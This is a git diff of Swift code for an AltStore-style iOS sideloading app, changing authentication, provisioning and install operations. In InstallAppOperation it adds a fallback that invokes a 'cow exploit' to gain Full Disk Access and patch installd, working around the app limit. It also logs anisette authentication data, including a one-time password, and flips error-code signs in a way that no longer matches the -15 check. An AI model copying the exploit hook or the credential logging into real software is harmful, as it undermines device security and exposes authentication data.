DatabaseManager.shared.persistentContainer.performBackgroundTask
{ context in
if let activeTeam = DatabaseManager.shared.activeTeam(in: context), let altTeam = teams.first(where: { $0.identifier == activeTeam.identifier })
{
completionHandler(.success(altTeam))
@@ -489,18 +519,22 @@ private extension AuthenticationOperation
func requestCertificate()
{
let machineName = "AltStore - " + UIDevice.current.name
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session) { (certificate, error) in
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session)
{ certificate, error in
do
{
let certificate = try Result(certificate, error).get()
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
{ certificates, error in
do
{
let certificates = try Result(certificates, error).get()
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else {
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber })
else
{
throw AuthenticationError.missingCertificate
}
@@ -524,7 +558,8 @@ private extension AuthenticationOperation
{
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
ALTAppleAPI.shared.revoke(certificate, for: team, session: session)
{ success, error in
if let error = error, !success
{
completionHandler(.failure(error))
@@ -536,7 +571,8 @@ private extension AuthenticationOperation
}
}
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
{ certificates, error in
do
{
let certificates = try Result(certificates, error).get()
@@ -593,11 +629,14 @@ private extension AuthenticationOperation
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
{
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
else
{
return completionHandler(.failure(OperationError.unknownUDID))
}
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session) { (devices, error) in
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session)
{ devices, error in
do
{
let devices = try Result(devices, error).get()
@@ -608,7 +647,8 @@ private extension AuthenticationOperation
}
else
{
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session) { (device, error) in
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session)
{ device, error in
completionHandler(Result(device, error))
}
}
@@ -623,7 +663,7 @@ private extension AuthenticationOperation
func cacheAppIDs(team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<Void, Error>) -> Void)
{
let fetchAppIDsOperation = FetchAppIDsOperation(context: self.context)
fetchAppIDsOperation.resultHandler = { (result) in
fetchAppIDsOperation.resultHandler = { result in
do
{
let (_, context) = try result.get()
@@ -644,7 +684,8 @@ private extension AuthenticationOperation
{
guard self.shouldShowInstructions else { return completionHandler(false) }
DispatchQueue.main.async {
DispatchQueue.main.async
{
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
instructionsViewController.showsBottomButton = true
instructionsViewController.completionHandler = {
@@ -668,7 +709,8 @@ private extension AuthenticationOperation
#if DEBUG
completionHandler(false)
#else
DispatchQueue.main.async {
DispatchQueue.main.async
{
let context = AuthenticatedOperationContext(context: self.context)
context.operations.removeAllObjects() // Prevent deadlock due to endless waiting on previous operations to finish.

View File

@@ -51,12 +51,12 @@ private let ReceivedApplicationState: @convention(c) (CFNotificationCenter?, Uns
}
@objc(BackgroundRefreshAppsOperation)
class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<InstalledApp, Error>]>
final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<InstalledApp, Error>]>
{
let installedApps: [InstalledApp]
private let managedObjectContext: NSManagedObjectContext
var presentsFinishedNotification: Bool = true
var presentsFinishedNotification: Bool = false
private let refreshIdentifier: String = UUID().uuidString
private var runningApplications: Set<String> = []
@@ -189,12 +189,12 @@ private extension BackgroundRefreshAppsOperation
let content = UNMutableNotificationContent()
var shouldPresentAlert = true
var shouldPresentAlert = false
do
{
let results = try result.get()
shouldPresentAlert = !results.isEmpty
shouldPresentAlert = false
for (_, result) in results
{
@@ -216,7 +216,7 @@ private extension BackgroundRefreshAppsOperation
content.title = NSLocalizedString("Failed to Refresh Apps", comment: "")
content.body = error.localizedDescription
shouldPresentAlert = true
shouldPresentAlert = false
}
if shouldPresentAlert

View File

@@ -14,7 +14,7 @@ import Roxas
import minimuxer
@objc(DeactivateAppOperation)
class DeactivateAppOperation: ResultOperation<InstalledApp>
final class DeactivateAppOperation: ResultOperation<InstalledApp>
{
let app: InstalledApp
let context: OperationContext

View File

@@ -30,13 +30,13 @@ private extension DownloadAppOperation
}
@objc(DownloadAppOperation)
class DownloadAppOperation: ResultOperation<ALTApplication>
final class DownloadAppOperation: ResultOperation<ALTApplication>
{
let app: AppProtocol
let context: AppOperationContext
private let bundleIdentifier: String
private let sourceURL: URL
private var sourceURL: URL?
private let destinationURL: URL
private let session = URLSession(configuration: .default)
@@ -69,7 +69,9 @@ class DownloadAppOperation: ResultOperation<ALTApplication>
print("Downloading App:", self.bundleIdentifier)
self.downloadApp(from: self.sourceURL) { result in
guard let sourceURL = self.sourceURL else { return self.finish(.failure(OperationError.appNotFound)) }
self.downloadApp(from: sourceURL) { result in
do
{
let application = try result.get()
@@ -165,7 +167,7 @@ private extension DownloadAppOperation
}
}
if self.sourceURL.isFileURL
if sourceURL.isFileURL
{
finishOperation(.success(sourceURL))

View File

@@ -21,7 +21,7 @@ protocol EnableJITContext
}
@available(iOS 14, *)
class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
{
let context: Context

View File

@@ -13,7 +13,7 @@ import AltSign
import Roxas
@objc(FetchAnisetteDataOperation)
class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
{
let context: OperationContext
@@ -47,6 +47,7 @@ class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
let formattedJSON: [String: String] = ["machineID": json["X-Apple-I-MD-M"]!, "oneTimePassword": json["X-Apple-I-MD"]!, "localUserID": json["X-Apple-I-MD-LU"]!, "routingInfo": json["X-Apple-I-MD-RINFO"]!, "deviceUniqueIdentifier": json["X-Mme-Device-Id"]!, "deviceDescription": json["X-MMe-Client-Info"]!, "date": json["X-Apple-I-Client-Time"]!, "locale": json["X-Apple-Locale"]!, "timeZone": json["X-Apple-I-TimeZone"]!, "deviceSerialNumber": "1"]
if let anisette = ALTAnisetteData(json: formattedJSON) {
DLOG("Anisette used: %@", formattedJSON)
self.finish(.success(anisette))
}
}

View File

@@ -13,7 +13,7 @@ import AltSign
import Roxas
@objc(FetchAppIDsOperation)
class FetchAppIDsOperation: ResultOperation<([AppID], NSManagedObjectContext)>
final class FetchAppIDsOperation: ResultOperation<([AppID], NSManagedObjectContext)>
{
let context: AuthenticatedOperationContext
let managedObjectContext: NSManagedObjectContext

View File

@@ -13,7 +13,7 @@ import AltSign
import Roxas
@objc(FetchProvisioningProfilesOperation)
class FetchProvisioningProfilesOperation: ResultOperation<[String: ALTProvisioningProfile]>
final class FetchProvisioningProfilesOperation: ResultOperation<[String: ALTProvisioningProfile]>
{
let context: AppOperationContext
@@ -131,19 +131,19 @@ extension FetchProvisioningProfilesOperation
// or if installedApp.team is nil but resignedBundleIdentifier contains the team's identifier.
let teamsMatch = installedApp.team?.identifier == team.identifier || (installedApp.team == nil && installedApp.resignedBundleIdentifier.contains(team.identifier))
#if DEBUG
if app.isAltStoreApp
{
// Use legacy bundle ID format for AltStore.
preferredBundleID = teamsMatch ? installedApp.resignedBundleIdentifier : nil
}
else
{
preferredBundleID = teamsMatch ? installedApp.resignedBundleIdentifier : nil
}
#else
// #if DEBUG
//
// if app.isAltStoreApp
// {
// // Use legacy bundle ID format for AltStore.
// preferredBundleID = teamsMatch ? installedApp.resignedBundleIdentifier : nil
// }
// else
// {
// preferredBundleID = teamsMatch ? installedApp.resignedBundleIdentifier : nil
// }
//
// #else
if teamsMatch
{
@@ -157,7 +157,7 @@ extension FetchProvisioningProfilesOperation
preferredBundleID = nil
}
#endif
// #endif
}
else
{
@@ -478,10 +478,13 @@ extension FetchProvisioningProfilesOperation
ALTAppleAPI.shared.delete(profile, for: team, session: session) { (success, error) in
switch Result(success, error)
{
case .failure(let error): completionHandler(.failure(error))
case .success:
case .failure:
// As of March 20, 2023, the free provisioning profile is re-generated each fetch, and you can no longer delete it.
// So instead, we just return the fetched profile from above.
completionHandler(.success(profile))
// Fetch new provisiong profile
case .success:
// Fetch new provisioning profile
ALTAppleAPI.shared.fetchProvisioningProfile(for: appID, deviceType: .iphone, team: team, session: session) { (profile, error) in
completionHandler(Result(profile, error))
}

View File

@@ -13,7 +13,7 @@ import AltStoreCore
import Roxas
@objc(FetchSourceOperation)
class FetchSourceOperation: ResultOperation<Source>
final class FetchSourceOperation: ResultOperation<Source>
{
let sourceURL: URL
let managedObjectContext: NSManagedObjectContext

View File

@@ -32,7 +32,7 @@ extension FetchTrustedSourcesOperation
}
}
class FetchTrustedSourcesOperation: ResultOperation<[FetchTrustedSourcesOperation.TrustedSource]>
final class FetchTrustedSourcesOperation: ResultOperation<[FetchTrustedSourcesOperation.TrustedSource]>
{
override func main()
{

View File

@@ -8,12 +8,12 @@
import Foundation
import Network
import AltStoreCore
import AltSign
import AltStoreCore
import Roxas
@objc(InstallAppOperation)
class InstallAppOperation: ResultOperation<InstalledApp>
final class InstallAppOperation: ResultOperation<InstalledApp>
{
let context: InstallAppOperationContext
@@ -44,8 +44,8 @@ class InstallAppOperation: ResultOperation<InstalledApp>
else { return self.finish(.failure(OperationError.invalidParameters)) }
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
backgroundContext.perform {
backgroundContext.perform
{
/* App */
let installedApp: InstalledApp
@@ -86,6 +86,11 @@ class InstallAppOperation: ResultOperation<InstalledApp>
let resignedBundleID = appExtension.bundleIdentifier
let originalBundleID = resignedBundleID.replacingOccurrences(of: resignedParentBundleID, with: parentBundleID)
print("`parentBundleID`: \(parentBundleID)")
print("`resignedParentBundleID`: \(resignedParentBundleID)")
print("`resignedBundleID`: \(resignedBundleID)")
print("`originalBundleID`: \(originalBundleID)")
let installedExtension: InstalledExtension
if let appExtension = installedApp.appExtensions.first(where: { $0.bundleIdentifier == originalBundleID })
@@ -136,8 +141,9 @@ class InstallAppOperation: ResultOperation<InstalledApp>
installedApp.isActive = false
}
}
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
activeProfiles = Set(activeApps.flatMap
{ installedApp -> [String] in
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
})
@@ -147,11 +153,50 @@ class InstallAppOperation: ResultOperation<InstalledApp>
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
let res = minimuxer_install_ipa(ns_bundle_ptr)
if res == 0 {
if res == 0
{
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
} else {
}
else if res == -15
{
// try again
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported
{
patch3AppLimit
{ result in
switch result
{
case .success:
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
print("patched sucessfully")
case .failure(let err):
switch err
{
case .NoFDA:
self.finish(.failure(OperationError.cowExploitNoFDA))
return
case .FailedPatchd:
self.finish(.failure(OperationError.cowExploitFailedPatchd))
return
}
}
}
let res_try_again = minimuxer_install_ipa(ns_bundle_ptr)
if res_try_again == 0
{
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
}
else
{
self.finish(.failure(minimuxer_to_operation(code: res_try_again)))
}
}
}
else
{
self.finish(.failure(minimuxer_to_operation(code: res)))
}
}

View File

@@ -38,7 +38,7 @@ class OperationContext
}
}
class AuthenticatedOperationContext: OperationContext
final class AuthenticatedOperationContext: OperationContext
{
var session: ALTAppleAPISession?

View File

@@ -6,11 +6,12 @@
// Copyright © 2019 Riley Testut. All rights reserved.
//
import Foundation
import AltSign
import Foundation
enum OperationError: LocalizedError
{
enum OperationError: LocalizedError {
static let domain = OperationError.unknown._domain
case unknown
case unknownResult
case cancelled
@@ -43,6 +44,8 @@ enum OperationError: LocalizedError
case functionArguments
case profileInstall
case noConnection
case cowExploitNoFDA
case cowExploitFailedPatchd
var failureReason: String? {
switch self {
@@ -71,22 +74,21 @@ enum OperationError: LocalizedError
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
case .cowExploitNoFDA: return NSLocalizedString("Unable to get Full Disk Access using exploit.", comment: "")
case .cowExploitFailedPatchd: return NSLocalizedString("Unable to patch installd using exploit.", comment: "")
}
}
var recoverySuggestion: String? {
switch self
{
switch self {
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
let message: String
if requiredAppIDs > 1
{
if requiredAppIDs > 1 {
let availableText: String
switch availableAppIDs
{
switch availableAppIDs {
case 0: availableText = NSLocalizedString("none are available", comment: "")
case 1: availableText = NSLocalizedString("only 1 is available", comment: "")
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
@@ -95,8 +97,7 @@ enum OperationError: LocalizedError
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
message = prefixMessage + " " + baseMessage
}
else
{
else {
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
let dateComponentsFormatter = DateComponentsFormatter()
@@ -118,45 +119,45 @@ enum OperationError: LocalizedError
func minimuxer_to_operation(code: Int32) -> OperationError {
switch code {
case -1:
case 1:
return OperationError.noDevice
case -2:
case 2:
return OperationError.createService(name: "debug")
case -3:
case 3:
return OperationError.createService(name: "instproxy")
case -4:
case 4:
return OperationError.getFromDevice(name: "installed apps")
case -5:
case 5:
return OperationError.getFromDevice(name: "path to the app")
case -6:
case 6:
return OperationError.getFromDevice(name: "bundle path")
case -7:
case 7:
return OperationError.setArgument(name: "max packet")
case -8:
case 8:
return OperationError.setArgument(name: "working directory")
case -9:
case 9:
return OperationError.setArgument(name: "argv")
case -10:
case 10:
return OperationError.getFromDevice(name: "launch success")
case -11:
case 11:
return OperationError.detach
case -12:
case 12:
return OperationError.functionArguments
case -13:
case 13:
return OperationError.createService(name: "AFC")
case -14:
case 14:
return OperationError.afc
case -15:
case 15:
return OperationError.install
case -16:
case 16:
return OperationError.uninstall
case -17:
case 17:
return OperationError.createService(name: "misagent")
case -18:
case 18:
return OperationError.profileInstall
case -19:
case 19:
return OperationError.profileInstall
case -20:
case 20:
return OperationError.noConnection
default:
return OperationError.unknown

View File

@@ -52,7 +52,7 @@ private struct OTAUpdate
}
@available(iOS 14, *)
class PatchAppOperation: ResultOperation<Void>
final class PatchAppOperation: ResultOperation<Void>
{
let context: PatchAppContext

View File

@@ -29,7 +29,7 @@ extension PatchViewController
}
@available(iOS 14.0, *)
class PatchViewController: UIViewController
final class PatchViewController: UIViewController
{
var patchApp: AnyApp?
var installedApp: InstalledApp?

View File

@@ -14,7 +14,7 @@ import Roxas
import minimuxer
@objc(RefreshAppOperation)
class RefreshAppOperation: ResultOperation<InstalledApp>
final class RefreshAppOperation: ResultOperation<InstalledApp>
{
let context: AppOperationContext

View File

@@ -12,7 +12,7 @@ import CoreData
import AltStoreCore
import AltSign
class RefreshGroup: NSObject
final class RefreshGroup: NSObject
{
let context: AuthenticatedOperationContext
let progress = Progress.discreteProgress(totalUnitCount: 0)

View File

@@ -9,7 +9,7 @@
import Foundation
@objc(RemoveAppBackupOperation)
class RemoveAppBackupOperation: ResultOperation<Void>
final class RemoveAppBackupOperation: ResultOperation<Void>
{
let context: InstallAppOperationContext

View File

@@ -12,7 +12,7 @@ import AltStoreCore
import minimuxer
@objc(RemoveAppOperation)
class RemoveAppOperation: ResultOperation<InstalledApp>
final class RemoveAppOperation: ResultOperation<InstalledApp>
{
let context: InstallAppOperationContext

View File

@@ -13,7 +13,7 @@ import AltStoreCore
import AltSign
@objc(ResignAppOperation)
class ResignAppOperation: ResultOperation<ALTApplication>
final class ResignAppOperation: ResultOperation<ALTApplication>
{
let context: InstallAppOperationContext

View File

@@ -11,7 +11,7 @@ import Network
import AltStoreCore
@objc(SendAppOperation)
class SendAppOperation: ResultOperation<()>
final class SendAppOperation: ResultOperation<()>
{
let context: InstallAppOperationContext
@@ -39,9 +39,10 @@ class SendAppOperation: ResultOperation<()>
guard let resignedApp = self.context.resignedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
// self.context.resignedApp.fileURL points to the app bundle, but we want the .ipa.
let app = AnyApp(name: resignedApp.name, bundleIdentifier: self.context.bundleIdentifier, url: resignedApp.url)
let app = AnyApp(name: resignedApp.name, bundleIdentifier: self.context.bundleIdentifier, url: resignedApp.fileURL)
let fileURL = InstalledApp.refreshedIPAURL(for: app)
print("AFC App `fileURL`: \(fileURL.absoluteString)")
let ns_bundle = NSString(string: app.bundleIdentifier)
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
@@ -53,6 +54,7 @@ class SendAppOperation: ResultOperation<()>
}
let res = minimuxer_yeet_app_afc(ns_bundle_ptr, pls, UInt(data.length))
if res == 0 {
print("minimuxer_yeet_app_afc `res` == \(res)")
self.progress.completedUnitCount += 1
self.finish(.success(()))
} else {

View File

@@ -30,7 +30,7 @@ extension UpdatePatronsOperation
}
}
class UpdatePatronsOperation: ResultOperation<Void>
final class UpdatePatronsOperation: ResultOperation<Void>
{
let context: NSManagedObjectContext

View File

@@ -55,7 +55,7 @@ enum VerificationError: ALTLocalizedError
}
@objc(VerifyAppOperation)
class VerifyAppOperation: ResultOperation<Void>
final class VerifyAppOperation: ResultOperation<Void>
{
let context: AppOperationContext
var verificationHandler: ((VerificationError) -> Bool)?

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.5 KiB

After

Width:  |  Height:  |  Size: 8.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 192 KiB

After

Width:  |  Height:  |  Size: 846 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.2 KiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.8 KiB

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 912 B

After

Width:  |  Height:  |  Size: 997 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.0 KiB

After

Width:  |  Height:  |  Size: 2.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.7 KiB

After

Width:  |  Height:  |  Size: 3.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 KiB

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.3 KiB

After

Width:  |  Height:  |  Size: 3.9 KiB

Some files were not shown because too many files have changed in this diff Show More